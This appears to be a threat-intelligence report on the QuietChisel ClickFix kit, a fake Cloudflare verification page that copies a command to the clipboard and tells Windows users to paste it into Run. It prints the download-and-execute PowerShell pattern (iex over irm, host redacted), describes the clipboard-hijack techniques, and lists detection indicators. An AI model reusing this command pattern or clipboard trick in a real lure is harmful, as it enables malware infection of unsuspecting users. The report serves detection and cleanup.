QuietChisel ClickFix kit

The Cloudflare page is the whole lure

QuietChisel is a self-contained fake Cloudflare "Just a moment..." page. The page includes a Cloudflare logo, a generated Ray ID and the familiar performance-and-security footer. Its challenge is a set of Windows instructions: open Run, paste, press Enter, then return to the browser. A generated "reCAPTCHA Verification ID" sits under the steps to make the process look specific to the visit.

There is no remote challenge widget to complete. The page uses its own JavaScript to put a command on the clipboard. Manifold Security documented the same command and clipboard sequence inside another fake Cloudflare page: Windows Run instructions, a hidden textarea and a replaced copy event.

Quoted fragments conceal the download address

The command is built from separately quoted parts of an address. Its structure is:

Write-Host(&{iex(irm('hxxps://[host]/part'+'rest'))})2>$null

PowerShell's irm retrieves text from the assembled address, iex runs that text and the final redirection suppresses error output. Keeping the address in pieces means a search for its complete form will miss it.

The captured page uses a hidden textarea and document.execCommand('copy'). It also registers a copy listener that replaces plain-text clipboard data with the command, so copying visible text from the page can produce the same result. A second form uses navigator.clipboard.writeText and repeats the write every three seconds while the page remains open.

What we see

Month	New sites
September	32
October	2
November so far	0

1 site had a QuietChisel match in the 30 days to 12 November 2026.

Finding the copy trap

View the raw response because the rendered page hides the clipboard code. Search for:

• a "Just a moment..." page whose challenge consists of Windows Run instructions
• Write-Host, irm and iex in one copied expression
• an address joined from quoted string fragments
• a copy handler that calls setData('text/plain', ...)
• a hidden textarea used with document.execCommand('copy')
• a timer that calls navigator.clipboard.writeText every three seconds

Remove the injected page or template and purge any page cache that can continue serving it.